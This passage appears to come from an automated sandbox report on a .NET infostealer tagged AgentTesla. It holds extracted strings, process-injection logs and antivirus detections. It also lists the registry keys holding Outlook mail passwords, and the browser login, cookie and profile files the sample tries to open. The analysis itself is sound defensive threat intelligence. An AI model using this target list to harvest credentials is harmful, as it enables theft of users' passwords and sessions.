00000000-00007972.00000002.106946.035BB000.00000004.mdmp") Found string "WmiPrvSE.exe" (Indicator: "wmiprvse.exe"; in Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp") Found string "WinMgmts:" (Indicator: "winmgmts:"; in Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp") Found string "Time: MM/dd/yyyy HH:mm:ssUser Name: Computer Name: OSFullName: CPU: RAM: IP Address: New Recovered!User NameOSFullNameNonewin32_processorprocessorID3650cefe-ed5c-4835-b91e-94c6e8daa7f7Win32_NetworkAdapterConfigurationIPEnabledMacAddress:2fcd5d5b-58c0-487a-b3d1-2eee6137a025WinMgmts:InstancesOfWin32_BaseBoardSerialNumber81bef264-15ef-4429-ac5c-904b0512d4abx2TorAUTHENTICATE "FNWlTzrbDp"SIGNAL NEWNYM250torStartInfoFileName\Tor\tor.exeArgumentsUseShellExecuteRedirectStandardOutputCreateNoWindowStartStandardOutputReadLineContainsBootstrapped 100%EndOfStreamIdAvoidDiskWrites 1" (Indicator: "winmgmts:"; in Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_NetworkAdapterConfiguration.Index=8" (Indicator: "root\cimv2"; in Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.03530000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_NetworkAdapterConfiguration.Index=3" (Indicator: "root\cimv2"; in Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.03530000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_NetworkAdapterConfiguration.Index=6" (Indicator: "root\cimv2"; in Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.03530000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_NetworkAdapterConfiguration.Index=9" (Indicator: "root\cimv2"; in Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.03530000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_NetworkAdapterConfiguration.Index=12" (Indicator: "root\cimv2"; in Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.03530000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_NetworkAdapterConfiguration.Index=2" (Indicator: "root\cimv2"; in Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.03530000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_NetworkAdapterConfiguration.Index=5" (Indicator: "root\cimv2"; in Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.03530000.00000004.mdmp") Found string "\\DESKTOP-FVVF82A\ROOT\cimv2:Win32_NetworkAdapterConfiguration" (Indicator: "root\cimv2"; in Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.03530000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_NetworkAdapterConfiguration.Index=11" (Indicator: "root\cimv2"; in Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.03530000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_NetworkAdapterConfiguration.Index=1" (Indicator: "root\cimv2"; in Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.03530000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_NetworkAdapterConfiguration.Index=0" (Indicator: "root\cimv2"; in Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.03530000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_NetworkAdapterConfiguration.Index=10" (Indicator: "root\cimv2"; in Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.03530000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_NetworkAdapterConfiguration.Index=4" (Indicator: "root\cimv2"; in Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.03530000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_OperatingSystem=@" (Indicator: "root\cimv2"; in Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.035BB000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Processor.DeviceID="CPU0"" (Indicator: "root\cimv2"; in Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.035BB000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp")55:T485,"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (Handle: 1820) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\schtasks.exe" (Handle: 1848) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" wrote 00000004 bytes to a remote process "C:\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Handle: 1844) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" wrote 00000200 bytes to a remote process "C:\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Handle: 1844) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" wrote 00033600 bytes to a remote process "C:\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Handle: 1844) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" wrote 00000600 bytes to a remote process "C:\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Handle: 1844)56:T1d67,"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\INCREDIMAIL\IDENTITIES") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS MESSAGING SUBSYSTEM\PROFILES\9375CFF0413111D3B88A00104B2A6676") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "EMAIL") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "IMAP PASSWORD") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "POP3 PASSWORD") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "HTTP PASSWORD") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "SMTP PASSWORD") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002"; Key: "EMAIL") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002"; Key: "IMAP PASSWORD") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002"; Key: "POP3 PASSWORD") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002"; Key: "HTTP PASSWORD") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002"; Key: "SMTP PASSWORD") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000003") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000003"; Key: "EMAIL") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000003"; Key: "IMAP PASSWORD") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000003"; Key: "POP3 PASSWORD") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000003"; Key: "HTTP PASSWORD") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000003"; Key: "SMTP PASSWORD") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "EMAIL") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "IMAP PASSWORD") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "POP3 PASSWORD") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "HTTP PASSWORD") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "SMTP PASSWORD") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002"; Key: "EMAIL") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002"; Key: "IMAP PASSWORD") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002"; Key: "POP3 PASSWORD") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002"; Key: "HTTP PASSWORD") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002"; Key: "SMTP PASSWORD")57:T13e1,"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CATALINAGROUP\CITRIO\USER DATA" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\EPIC PRIVACY BROWSER\USER DATA" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\IRIDIUM\USER DATA" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\360CHROME\CHROME\USER DATA" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\COCCOC\BROWSER\USER DATA" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\COMODO\DRAGON\USER DATA" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\ORBITUM\USER DATA" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\YANDEX\YANDEXBROWSER\USER DATA" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CHROMIUM\USER DATA" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\TORCH\USER DATA" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\BRAVESOFTWARE\BRAVE-BROWSER\USER DATA" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\UCBROWSER" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\THUNDERBIRD\PROFILES.INI" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\LOGIN DATA" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\TENCENT\QQBROWSER\USER DATA" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\TENCENT\QQBROWSER\USER DATA\DEFAULT\ENCRYPTEDSTORAGE" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\FLOCK\BROWSER\PROFILES.INI" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\SEAMONKEY\PROFILES.INI" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\ICECAT\PROFILES.INI" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\profiles.ini" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\LOGINS.JSON" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\SIGNONS.SQLITE" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Local State" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\LOGIN DATA" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\POSTBOX\PROFILES.INI" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\COOKIES" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\COOKIES" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\MAPLESTUDIO\CHROMEPLUS\USER DATA" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\7STAR\7STAR\USER DATA" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\AMIGO\USER DATA"58:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8A//+P////////////////+P//j/////////////////j//4//iIiP/4iI//iIiP/4//+P+Hd3d4h3d4+Hh3eP+PiId3dmZmZ4eIePh4eHj/hmZmZmZmZmf//4///////4ZmZmZmZmZniIiI/4iIj/+GZmZmZmZmZ4d3ePh3d3j/hmZmZmZmZmeIiHj4iIiI/4ZmZndndmZn//////////+GZmaIf3ZmZ4iIiP+IiI//hmZmf4hmZmeHd3j4d3d4/4ZmZmj3ZmZniIiI+IiIiP+GZmZo+GZmZ///////////hmZmf492ZmeIiIj/iIiP/4ZmZohohmZnh3d4+Hd3eP+GZmZmZmZmZ4iIiPiIiIj/hmZmZmZmZmf//////////4ZmZmZmZmZniIiI/4iIj/+GZmZmZmZmZ4d3ePh3d3j/iHd3dmZmZmeIiIj4iIiI/4//+P+IiHd3//////////+P//j/+IiIj4iIiP+IiI//j//4/4d3d4+Hd3j4d3d4/4//+P/4iIiPiIiI+Hd3ePiP//j///////////+P///4///4//iIiI+IiIj4j///////+P+Hd3ePh3d3+H////////j/+IiIj4iIiPiP/4/////4////////////j///////+P///////////4////////iIiIiIiIiIiIiP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791240985938,"unified_at":"2026-10-05T22:56:25.938Z","metadata":{"hashes":{"sha256":"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397","sha1":"1426e216a1ae8a787104162228ba223feb6940e3","md5":"1128c941c31bf5c69a05b8ea81f01f43","sha512":"7bdb8cf37a4d6dd5554bea5f96ae072fd3d72f8f7357bfa32d09c28a9f8bb193b98398deea2e79ee539b9c3c6fc806cae8b28a5223456c442d21025dd966e68e","ssdeep":"12288:/qBVN+10VUZVz7NB8OhlGdVWelWIy4Y+:/qsBZVfwOhwdQxIy","ssdeep_chunks":["12288:/qBVN+1","12288:qBVN+10","12288:BVN+10V","12288:VN+10VU","12288:N+10VUZ","12288:+10VUZV","12288:10VUZVz","12288:0VUZVz7","12288:VUZVz7N","12288:UZVz7NB","12288:ZVz7NB8","12288:Vz7NB8O","12288:z7NB8Oh","12288:7NB8Ohl","12288:NB8OhlG","12288:B8OhlGd","12288:8OhlGdV","12288:OhlGdVW","12288:hlGdVWe","12288:lGdVWel","12288:GdVWelW","12288:dVWelWI","12288:VWelWIy","12288:WelWIy4","12288:elWIy4Y","12288:lWIy4Y+","24576:/qBVN+1","24576:qBVN+10","24576:BVN+10V","24576:VN+10VU","24576:N+10VUZ","24576:+10VUZV","24576:10VUZVz","24576:0VUZVz7","24576:VUZVz7N","24576:UZVz7NB","24576:ZVz7NB8","24576:Vz7NB8O","24576:z7NB8Oh","24576:7NB8Ohl","24576:NB8OhlG","24576:B8OhlGd","24576:8OhlGdV","24576:OhlGdVW","24576:hlGdVWe","24576:lGdVWel","24576:GdVWelW","24576:dVWelWI","24576:VWelWIy","24576:WelWIy4","24576:elWIy4Y","24576:lWIy4Y+","12288:/qsBZVf","12288:qsBZVfw","12288:sBZVfwO","12288:BZVfwOh","12288:ZVfwOhw","12288:VfwOhwd","12288:fwOhwdQ","12288:wOhwdQx","12288:OhwdQxI","12288:hwdQxIy"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744"},"file_info":{"file_name":"bounty-319461586614720","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":751104,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1684815071000,"last_seen":1749647947000,"last_multi_scan":1749647947000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["wacatac","agenttesla","windows-server-utility","evasive","infostealer"]},"stats":{"av":{"malicious_count":20,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":92},"sandbox_signatures":{"informative_count":200,"suspicious_count":12,"malicious_count":18,"total":230},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Multi.Taskun","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1378265","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Ransom.Loki.1401","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Dropper.Nanocore-10004067-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_so